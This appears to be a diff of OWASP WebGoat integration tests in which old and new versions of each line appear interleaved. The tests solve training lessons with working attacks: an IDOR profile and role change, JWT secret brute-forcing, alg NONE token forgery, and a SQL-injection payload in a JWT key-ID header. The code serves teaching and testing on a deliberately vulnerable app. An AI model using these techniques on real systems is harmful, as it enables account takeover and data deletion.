checkAssignment(url("/WebGoat/IDOR/profile/alt-path"), params, true);
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("/WebGoat/IDOR/profile/2342388"))
.then()
.statusCode(200)
.extract().path("lessonCompleted"), CoreMatchers.is(true));
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.contentType(ContentType.JSON) //part of the lesson
.body("{\"role\":\"1\", \"color\":\"red\", \"size\":\"large\", \"name\":\"Buffalo Bill\", \"userId\":\"2342388\"}")
.put(url("/WebGoat/IDOR/profile/2342388"))
.then()
.statusCode(200)
.extract().path("lessonCompleted"), CoreMatchers.is(true));
}
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("/WebGoat/IDOR/profile/2342388"))
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.contentType(ContentType.JSON) // part of the lesson
.body(
"{\"role\":\"1\", \"color\":\"red\", \"size\":\"large\", \"name\":\"Buffalo Bill\","
+ " \"userId\":\"2342388\"}")
.put(url("/WebGoat/IDOR/profile/2342388"))
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
}
}

View File

@ -1,231 +1,255 @@
package org.owasp.webgoat;
import static io.restassured.RestAssured.given;
import io.restassured.RestAssured;
import io.restassured.http.ContentType;
import java.util.Map;
import java.util.Objects;
import lombok.Getter;
import org.hamcrest.CoreMatchers;
import org.hamcrest.MatcherAssert;
import org.junit.jupiter.api.AfterEach;
import org.junit.jupiter.api.BeforeEach;
import java.util.Map;
import java.util.Objects;
import static io.restassured.RestAssured.given;
public abstract class IntegrationTest {
private static String webGoatPort = Objects.requireNonNull(System.getProperty("webgoatport"));
@Getter
private static String webWolfPort = Objects.requireNonNull(System.getProperty("webwolfport"));
private static boolean useSSL = false;
private static String webgoatUrl = (useSSL ? "https:" : "http:") + "//localhost:" + webGoatPort + "/WebGoat/";
private static String webWolfUrl = (useSSL ? "https:" : "http:") + "//localhost:" + webWolfPort + "/";
@Getter
private String webGoatCookie;
@Getter
private String webWolfCookie;
@Getter
private String user = "webgoat";
private static String webGoatPort = Objects.requireNonNull(System.getProperty("webgoatport"));
protected String url(String url) {
url = url.replaceFirst("/WebGoat/", "");
url = url.replaceFirst("/WebGoat", "");
url = url.startsWith("/") ? url.replaceFirst("/", "") : url;
return webgoatUrl + url;
@Getter
private static String webWolfPort = Objects.requireNonNull(System.getProperty("webwolfport"));
private static boolean useSSL = false;
private static String webgoatUrl =
(useSSL ? "https:" : "http:") + "//localhost:" + webGoatPort + "/WebGoat/";
private static String webWolfUrl =
(useSSL ? "https:" : "http:") + "//localhost:" + webWolfPort + "/";
@Getter private String webGoatCookie;
@Getter private String webWolfCookie;
@Getter private final String user = "webgoat";
protected String url(String url) {
url = url.replaceFirst("/WebGoat/", "");
url = url.replaceFirst("/WebGoat", "");
url = url.startsWith("/") ? url.replaceFirst("/", "") : url;
return webgoatUrl + url;
}
protected String webWolfUrl(String url) {
url = url.replaceFirst("/WebWolf/", "");
url = url.replaceFirst("/WebWolf", "");
url = url.startsWith("/") ? url.replaceFirst("/", "") : url;
return webWolfUrl + url;
}
@BeforeEach
public void login() {
String location =
given()
.when()
.relaxedHTTPSValidation()
.formParam("username", user)
.formParam("password", "password")
.post(url("login"))
.then()
.cookie("JSESSIONID")
.statusCode(302)
.extract()
.header("Location");
if (location.endsWith("?error")) {
webGoatCookie =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.formParam("username", user)
.formParam("password", "password")
.formParam("matchingPassword", "password")
.formParam("agree", "agree")
.post(url("register.mvc"))
.then()
.cookie("JSESSIONID")
.statusCode(302)
.extract()
.cookie("JSESSIONID");
} else {
webGoatCookie =
given()
.when()
.relaxedHTTPSValidation()
.formParam("username", user)
.formParam("password", "password")
.post(url("login"))
.then()
.cookie("JSESSIONID")
.statusCode(302)
.extract()
.cookie("JSESSIONID");
}
protected String webWolfUrl(String url) {
url = url.replaceFirst("/WebWolf/", "");
url = url.replaceFirst("/WebWolf", "");
url = url.startsWith("/") ? url.replaceFirst("/", "") : url;
return webWolfUrl + url;
}
@BeforeEach
public void login() {
String location = given()
.when()
.relaxedHTTPSValidation()
.formParam("username", user)
.formParam("password", "password")
.post(url("login")).then()
.cookie("JSESSIONID")
.statusCode(302)
.extract().header("Location");
if (location.endsWith("?error")) {
webGoatCookie = RestAssured.given()
.when()
.relaxedHTTPSValidation()
.formParam("username", user)
.formParam("password", "password")
.formParam("matchingPassword", "password")
.formParam("agree", "agree")
.post(url("register.mvc"))
.then()
.cookie("JSESSIONID")
.statusCode(302)
.extract()
.cookie("JSESSIONID");
} else {
webGoatCookie = given()
.when()
.relaxedHTTPSValidation()
.formParam("username", user)
.formParam("password", "password")
.post(url("login")).then()
.cookie("JSESSIONID")
.statusCode(302)
.extract().cookie("JSESSIONID");
}
webWolfCookie = RestAssured.given()
.when()
.relaxedHTTPSValidation()
.formParam("username", user)
.formParam("password", "password")
.post(webWolfUrl("login"))
.then()
.statusCode(302)
.cookie("WEBWOLFSESSION")
.extract()
.cookie("WEBWOLFSESSION");
}
@AfterEach
public void logout() {
webWolfCookie =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.get(url("logout"))
.then()
.statusCode(200);
}
.when()
.relaxedHTTPSValidation()
.formParam("username", user)
.formParam("password", "password")
.post(webWolfUrl("login"))
.then()
.statusCode(302)
.cookie("WEBWOLFSESSION")
.extract()
.cookie("WEBWOLFSESSION");
}
public void startLesson(String lessonName) {
startLesson(lessonName, false);
}
@AfterEach
public void logout() {
RestAssured.given().when().relaxedHTTPSValidation().get(url("logout")).then().statusCode(200);
}
public void startLesson(String lessonName, boolean restart) {
public void startLesson(String lessonName) {
startLesson(lessonName, false);
}
public void startLesson(String lessonName, boolean restart) {
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url(lessonName + ".lesson.lesson"))
.then()
.statusCode(200);
if (restart) {
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/restartlesson.mvc"))
.then()
.statusCode(200);
}
}
public void checkAssignment(String url, Map<String, ?> params, boolean expectedResult) {
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url(lessonName + ".lesson.lesson"))
.then()
.statusCode(200);
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParams(params)
.post(url)
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(expectedResult));
}
if (restart) {
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/restartlesson.mvc"))
.then()
.statusCode(200);
}
}
public void checkAssignmentWithPUT(String url, Map<String, ?> params, boolean expectedResult) {
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParams(params)
.put(url)
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(expectedResult));
}
public void checkAssignment(String url, Map<String, ?> params, boolean expectedResult) {
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParams(params)
.post(url)
.then()
.statusCode(200)
.extract().path("lessonCompleted"), CoreMatchers.is(expectedResult));
}
// TODO is prefix useful? not every lesson endpoint needs to start with a certain prefix (they are
// only required to be in the same package)
public void checkResults(String prefix) {
checkResults();
public void checkAssignmentWithPUT(String url, Map<String, ?> params, boolean expectedResult) {
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParams(params)
.put(url)
.then()
.statusCode(200)
.extract().path("lessonCompleted"), CoreMatchers.is(expectedResult));
}
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/lessonoverview.mvc"))
.then()
.statusCode(200)
.extract()
.jsonPath()
.getList("assignment.path"),
CoreMatchers.everyItem(CoreMatchers.startsWith(prefix)));
}
//TODO is prefix useful? not every lesson endpoint needs to start with a certain prefix (they are only required to be in the same package)
public void checkResults(String prefix) {
checkResults();
public void checkResults() {
var result =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/lessonoverview.mvc"))
.andReturn();
MatcherAssert.assertThat(RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/lessonoverview.mvc"))
.then()
.statusCode(200).extract().jsonPath().getList("assignment.path"), CoreMatchers.everyItem(CoreMatchers.startsWith(prefix)));
MatcherAssert.assertThat(
result.then().statusCode(200).extract().jsonPath().getList("solved"),
CoreMatchers.everyItem(CoreMatchers.is(true)));
}
}
public void checkAssignment(
String url, ContentType contentType, String body, boolean expectedResult) {
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.contentType(contentType)
.cookie("JSESSIONID", getWebGoatCookie())
.body(body)
.post(url)
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(expectedResult));
}
public void checkResults() {
var result = RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/lessonoverview.mvc"))
.andReturn();
public void checkAssignmentWithGet(String url, Map<String, ?> params, boolean expectedResult) {
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.queryParams(params)
.get(url)
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(expectedResult));
}
MatcherAssert.assertThat(result.then()
.statusCode(200).extract().jsonPath().getList("solved"), CoreMatchers.everyItem(CoreMatchers.is(true)));
}
public void checkAssignment(String url, ContentType contentType, String body, boolean expectedResult) {
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.contentType(contentType)
.cookie("JSESSIONID", getWebGoatCookie())
.body(body)
.post(url)
.then()
.statusCode(200)
.extract().path("lessonCompleted"), CoreMatchers.is(expectedResult));
}
public void checkAssignmentWithGet(String url, Map<String, ?> params, boolean expectedResult) {
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.queryParams(params)
.get(url)
.then()
.statusCode(200)
.extract().path("lessonCompleted"), CoreMatchers.is(expectedResult));
}
public String getWebWolfFileServerLocation() {
String result = RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrl("/file-server-location"))
.then()
.extract().response().getBody().asString();
result = result.replace("%20", " ");
return result;
}
public String webGoatServerDirectory() {
return RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("/server-directory"))
.then()
.extract().response().getBody().asString();
}
public String getWebWolfFileServerLocation() {
String result =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrl("/file-server-location"))
.then()
.extract()
.response()
.getBody()
.asString();
result = result.replace("%20", " ");
return result;
}
public String webGoatServerDirectory() {
return RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("/server-directory"))
.then()
.extract()
.response()
.getBody()
.asString();
}
}

View File

@ -1,5 +1,16 @@
package org.owasp.webgoat;
import com.fasterxml.jackson.databind.JsonNode;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.node.ObjectNode;
import io.jsonwebtoken.Header;
import io.jsonwebtoken.JwsHeader;
import io.jsonwebtoken.Jwt;
import io.jsonwebtoken.JwtException;
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.SignatureAlgorithm;
import io.jsonwebtoken.impl.TextCodec;
import io.restassured.RestAssured;
import java.io.IOException;
import java.nio.charset.Charset;
import java.security.InvalidKeyException;
@ -10,207 +21,230 @@ import java.util.Calendar;
import java.util.Date;
import java.util.HashMap;
import java.util.Map;
import org.hamcrest.CoreMatchers;
import org.hamcrest.MatcherAssert;
import org.junit.jupiter.api.Test;
import com.fasterxml.jackson.databind.JsonNode;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.node.ObjectNode;
import io.jsonwebtoken.Header;
import io.jsonwebtoken.JwsHeader;
import io.jsonwebtoken.Jwt;
import io.jsonwebtoken.JwtException;
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.SignatureAlgorithm;
import io.jsonwebtoken.impl.TextCodec;
import io.restassured.RestAssured;
import org.owasp.webgoat.lessons.jwt.JWTSecretKeyEndpoint;
public class JWTLessonIntegrationTest extends IntegrationTest {
@Test
public void solveAssignment() throws IOException, InvalidKeyException, NoSuchAlgorithmException {
startLesson("JWT");
@Test
public void solveAssignment() throws IOException, InvalidKeyException, NoSuchAlgorithmException {
startLesson("JWT");
decodingToken();
decodingToken();
resetVotes();
resetVotes();
findPassword();
findPassword();
buyAsTom();
buyAsTom();
deleteTom();
deleteTom();
quiz();
quiz();
checkResults("/JWT/");
checkResults("/JWT/");
}
private String generateToken(String key) {
return Jwts.builder()
.setIssuer("WebGoat Token Builder")
.setAudience("webgoat.org")
.setIssuedAt(Calendar.getInstance().getTime())
.setExpiration(Date.from(Instant.now().plusSeconds(60)))
.setSubject("tom@webgoat.org")
.claim("username", "WebGoat")
.claim("Email", "tom@webgoat.org")
.claim("Role", new String[] {"Manager", "Project Administrator"})
.signWith(SignatureAlgorithm.HS256, key)
.compact();
}
private String getSecretToken(String token) {
for (String key : JWTSecretKeyEndpoint.SECRETS) {
try {
Jwt jwt = Jwts.parser().setSigningKey(TextCodec.BASE64.encode(key)).parse(token);
} catch (JwtException e) {
continue;
}
return TextCodec.BASE64.encode(key);
}
return null;
}
private String generateToken(String key) {
private void decodingToken() {
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParam("jwt-encode-user", "user")
.post(url("/WebGoat/JWT/decode"))
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
}
return Jwts.builder()
.setIssuer("WebGoat Token Builder")
.setAudience("webgoat.org")
.setIssuedAt(Calendar.getInstance().getTime())
.setExpiration(Date.from(Instant.now().plusSeconds(60)))
.setSubject("tom@webgoat.org")
.claim("username", "WebGoat")
.claim("Email", "tom@webgoat.org")
.claim("Role", new String[] {"Manager", "Project Administrator"})
.signWith(SignatureAlgorithm.HS256, key).compact();
}
private void findPassword() throws IOException, NoSuchAlgorithmException, InvalidKeyException {
private String getSecretToken(String token) {
for (String key : JWTSecretKeyEndpoint.SECRETS) {
try {
Jwt jwt = Jwts.parser().setSigningKey(TextCodec.BASE64.encode(key)).parse(token);
} catch (JwtException e) {
continue;
}
return TextCodec.BASE64.encode(key);
}
return null;
}
String accessToken =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("/WebGoat/JWT/secret/gettoken"))
.then()
.extract()
.response()
.asString();
private void decodingToken() {
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParam("jwt-encode-user", "user")
.post(url("/WebGoat/JWT/decode"))
.then()
.statusCode(200)
.extract().path("lessonCompleted"), CoreMatchers.is(true));
String secret = getSecretToken(accessToken);
}
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParam("token", generateToken(secret))
.post(url("/WebGoat/JWT/secret"))
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
}
private void findPassword() throws IOException, NoSuchAlgorithmException, InvalidKeyException {
private void resetVotes() throws IOException {
String accessToken =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("/WebGoat/JWT/votings/login?user=Tom"))
.then()
.extract()
.cookie("access_token");
String accessToken = RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("/WebGoat/JWT/secret/gettoken"))
.then()
.extract().response().asString();
String header = accessToken.substring(0, accessToken.indexOf("."));
header = new String(Base64.getUrlDecoder().decode(header.getBytes(Charset.defaultCharset())));
String secret = getSecretToken(accessToken);
String body = accessToken.substring(1 + accessToken.indexOf("."), accessToken.lastIndexOf("."));
body = new String(Base64.getUrlDecoder().decode(body.getBytes(Charset.defaultCharset())));
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParam("token", generateToken(secret))
.post(url("/WebGoat/JWT/secret"))
.then()
.statusCode(200)
.extract().path("lessonCompleted"), CoreMatchers.is(true));
ObjectMapper mapper = new ObjectMapper();
JsonNode headerNode = mapper.readTree(header);
headerNode = ((ObjectNode) headerNode).put("alg", "NONE");
}
JsonNode bodyObject = mapper.readTree(body);
bodyObject = ((ObjectNode) bodyObject).put("admin", "true");
private void resetVotes() throws IOException {
String accessToken = RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("/WebGoat/JWT/votings/login?user=Tom"))
.then()
.extract().cookie("access_token");
String replacedToken =
new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes()))
.concat(".")
.concat(
new String(Base64.getUrlEncoder().encode(bodyObject.toString().getBytes()))
.toString())
.concat(".")
.replace("=", "");
String header = accessToken.substring(0, accessToken.indexOf("."));
header = new String(Base64.getUrlDecoder().decode(header.getBytes(Charset.defaultCharset())));
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.cookie("access_token", replacedToken)
.post(url("/WebGoat/JWT/votings"))
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
}
String body = accessToken.substring(1+accessToken.indexOf("."), accessToken.lastIndexOf("."));
body = new String(Base64.getUrlDecoder().decode(body.getBytes(Charset.defaultCharset())));
private void buyAsTom() throws IOException {
ObjectMapper mapper = new ObjectMapper();
JsonNode headerNode = mapper.readTree(header);
headerNode = ((ObjectNode) headerNode).put("alg","NONE");
String header =
new String(
Base64.getUrlDecoder()
.decode("eyJhbGciOiJIUzUxMiJ9".getBytes(Charset.defaultCharset())));
JsonNode bodyObject = mapper.readTree(body);
bodyObject = ((ObjectNode) bodyObject).put("admin","true");
String body =
new String(
Base64.getUrlDecoder()
.decode(
"eyJhZG1pbiI6ImZhbHNlIiwidXNlciI6IkplcnJ5In0"
.getBytes(Charset.defaultCharset())));
String replacedToken = new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes()))
.concat(".")
.concat(new String(Base64.getUrlEncoder().encode(bodyObject.toString().getBytes())).toString())
.concat(".").replace("=", "");
body = body.replace("Jerry", "Tom");
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.cookie("access_token", replacedToken)
.post(url("/WebGoat/JWT/votings"))
.then()
.statusCode(200)
.extract().path("lessonCompleted"), CoreMatchers.is(true));
}
ObjectMapper mapper = new ObjectMapper();
JsonNode headerNode = mapper.readTree(header);
headerNode = ((ObjectNode) headerNode).put("alg", "NONE");
private void buyAsTom() throws IOException {
String replacedToken =
new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes()))
.concat(".")
.concat(new String(Base64.getUrlEncoder().encode(body.getBytes())).toString())
.concat(".")
.replace("=", "");
String header = new String(Base64.getUrlDecoder().decode("eyJhbGciOiJIUzUxMiJ9".getBytes(Charset.defaultCharset())));
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.header("Authorization", "Bearer " + replacedToken)
.post(url("/WebGoat/JWT/refresh/checkout"))
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
}
String body = new String(Base64.getUrlDecoder().decode("eyJhZG1pbiI6ImZhbHNlIiwidXNlciI6IkplcnJ5In0".getBytes(Charset.defaultCharset())));
private void deleteTom() {
body = body.replace("Jerry", "Tom");
Map<String, Object> header = new HashMap();
header.put(Header.TYPE, Header.JWT_TYPE);
header.put(
JwsHeader.KEY_ID,
"hacked' UNION select 'deletingTom' from INFORMATION_SCHEMA.SYSTEM_USERS --");
String token =
Jwts.builder()
.setHeader(header)
.setIssuer("WebGoat Token Builder")
.setAudience("webgoat.org")
.setIssuedAt(Calendar.getInstance().getTime())
.setExpiration(Date.from(Instant.now().plusSeconds(60)))
.setSubject("tom@webgoat.org")
.claim("username", "Tom")
.claim("Email", "tom@webgoat.org")
.claim("Role", new String[] {"Manager", "Project Administrator"})
.signWith(SignatureAlgorithm.HS256, "deletingTom")
.compact();
ObjectMapper mapper = new ObjectMapper();
JsonNode headerNode = mapper.readTree(header);
headerNode = ((ObjectNode) headerNode).put("alg", "NONE");
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.post(url("/WebGoat/JWT/final/delete?token=" + token))
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
}
String replacedToken = new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes())).concat(".")
.concat(new String(Base64.getUrlEncoder().encode(body.getBytes())).toString())
.concat(".").replace("=", "");
MatcherAssert.assertThat(RestAssured.given()
.when().relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.header("Authorization","Bearer "+replacedToken)
.post(url("/WebGoat/JWT/refresh/checkout"))
.then().statusCode(200)
.extract().path("lessonCompleted"), CoreMatchers.is(true));
}
private void deleteTom() {
Map<String, Object> header = new HashMap();
header.put(Header.TYPE, Header.JWT_TYPE);
header.put(JwsHeader.KEY_ID, "hacked' UNION select 'deletingTom' from INFORMATION_SCHEMA.SYSTEM_USERS --");
String token = Jwts.builder()
.setHeader(header)
.setIssuer("WebGoat Token Builder")
.setAudience("webgoat.org")
.setIssuedAt(Calendar.getInstance().getTime())
.setExpiration(Date.from(Instant.now().plusSeconds(60)))
.setSubject("tom@webgoat.org")
.claim("username", "Tom")
.claim("Email", "tom@webgoat.org")
.claim("Role", new String[] {"Manager", "Project Administrator"})
.signWith(SignatureAlgorithm.HS256, "deletingTom").compact();
MatcherAssert.assertThat(RestAssured.given()
.when().relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.post(url("/WebGoat/JWT/final/delete?token="+token))
.then()
.statusCode(200)
.extract().path("lessonCompleted"), CoreMatchers.is(true));
}
private void quiz() {
Map<String, Object> params = new HashMap<>();
params.put("question_0_solution", "Solution 1");
params.put("question_1_solution", "Solution 2");
checkAssignment(url("/WebGoat/JWT/quiz"), params, true);
}
private void quiz() {
Map<String, Object> params = new HashMap<>();
params.put("question_0_solution", "Solution 1");
params.put("question_1_solution", "Solution 2");
checkAssignment(url("/WebGoat/JWT/quiz"), params, true);
}
}

View File

@ -3,168 +3,228 @@ package org.owasp.webgoat;
import io.restassured.RestAssured;
import io.restassured.http.ContentType;
import io.restassured.path.json.JsonPath;
import org.junit.jupiter.api.Assertions;
import org.junit.jupiter.api.Test;
import java.io.FileInputStream;
import java.io.InputStream;
import java.util.List;
import java.util.Properties;
import org.junit.jupiter.api.Assertions;
import org.junit.jupiter.api.Test;
public class LabelAndHintIntegrationTest extends IntegrationTest {
final static String ESCAPE_JSON_PATH_CHAR = "\'";
static final String ESCAPE_JSON_PATH_CHAR = "\'";
@Test
public void testSingleLabel() {
Assertions.assertTrue(true);
JsonPath jsonPath = RestAssured.given()
.when()
.relaxedHTTPSValidation()
.contentType(ContentType.JSON)
.header("Accept-Language","en")
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/labels.mvc")).then().statusCode(200).extract().jsonPath();
@Test
public void testSingleLabel() {
Assertions.assertTrue(true);
JsonPath jsonPath =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.contentType(ContentType.JSON)
.header("Accept-Language", "en")
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/labels.mvc"))
.then()
.statusCode(200)
.extract()
.jsonPath();
Assertions.assertEquals("Try again: but this time enter a value before hitting go.", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"http-basics.close"+ESCAPE_JSON_PATH_CHAR));
Assertions.assertEquals(
"Try again: but this time enter a value before hitting go.",
jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "http-basics.close" + ESCAPE_JSON_PATH_CHAR));
// check if lang parameter overrules Accept-Language parameter
jsonPath = RestAssured.given()
.when()
.relaxedHTTPSValidation()
.contentType(ContentType.JSON)
.header("Accept-Language","en")
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/labels.mvc?lang=nl")).then().statusCode(200).extract().jsonPath();
Assertions.assertEquals("Gebruikersnaam", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"username"+ESCAPE_JSON_PATH_CHAR));
// check if lang parameter overrules Accept-Language parameter
jsonPath =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.contentType(ContentType.JSON)
.header("Accept-Language", "en")
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/labels.mvc?lang=nl"))
.then()
.statusCode(200)
.extract()
.jsonPath();
Assertions.assertEquals(
"Gebruikersnaam",
jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
jsonPath = RestAssured.given()
.when()
.relaxedHTTPSValidation()
.contentType(ContentType.JSON)
.header("Accept-Language","en")
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/labels.mvc?lang=de")).then().statusCode(200).extract().jsonPath();
Assertions.assertEquals("Benutzername", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"username"+ESCAPE_JSON_PATH_CHAR));
jsonPath =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.contentType(ContentType.JSON)
.header("Accept-Language", "en")
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/labels.mvc?lang=de"))
.then()
.statusCode(200)
.extract()
.jsonPath();
Assertions.assertEquals(
"Benutzername",
jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
// check if invalid language returns english
jsonPath = RestAssured.given()
.when()
.relaxedHTTPSValidation()
.contentType(ContentType.JSON)
.header("Accept-Language","nl")
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/labels.mvc?lang=xx")).then().statusCode(200).extract().jsonPath();
Assertions.assertEquals("Username", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"username"+ESCAPE_JSON_PATH_CHAR));
// check if invalid language returns english
jsonPath =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.contentType(ContentType.JSON)
.header("Accept-Language", "nl")
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/labels.mvc?lang=xx"))
.then()
.statusCode(200)
.extract()
.jsonPath();
Assertions.assertEquals(
"Username", jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
// check if invalid language returns english
jsonPath = RestAssured.given()
.when()
.relaxedHTTPSValidation()
.contentType(ContentType.JSON)
.header("Accept-Language","xx_YY")
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/labels.mvc")).then().statusCode(200).extract().jsonPath();
Assertions.assertEquals("Username", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"username"+ESCAPE_JSON_PATH_CHAR));
// check if invalid language returns english
jsonPath =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.contentType(ContentType.JSON)
.header("Accept-Language", "xx_YY")
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/labels.mvc"))
.then()
.statusCode(200)
.extract()
.jsonPath();
Assertions.assertEquals(
"Username", jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
}
@Test
public void testHints() {
JsonPath jsonPathLabels = getLabels("en");
List<String> allLessons =
List.of(
"HttpBasics",
"HttpProxies",
"CIA",
"InsecureLogin",
"Cryptography",
"PathTraversal",
"XXE",
"JWT",
"IDOR",
"SSRF",
"WebWolfIntroduction",
"CrossSiteScripting",
"CSRF",
"HijackSession",
"SqlInjection",
"SqlInjectionMitigations",
"SqlInjectionAdvanced",
"Challenge1");
for (String lesson : allLessons) {
startLesson(lesson);
List<String> hintKeys = getHints();
for (String key : hintKeys) {
String keyValue =
jsonPathLabels.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR);
// System.out.println("key: " + key + " ,value: " + keyValue);
Assertions.assertNotNull(keyValue);
Assertions.assertNotEquals(key, keyValue);
}
}
// Assertions.assertEquals("http-basics.hints.http_basics_lesson.1",
// ""+jsonPath.getList("hint").get(0));
}
@Test
public void testHints() {
JsonPath jsonPathLabels = getLabels("en");
List<String> allLessons = List.of(
"HttpBasics",
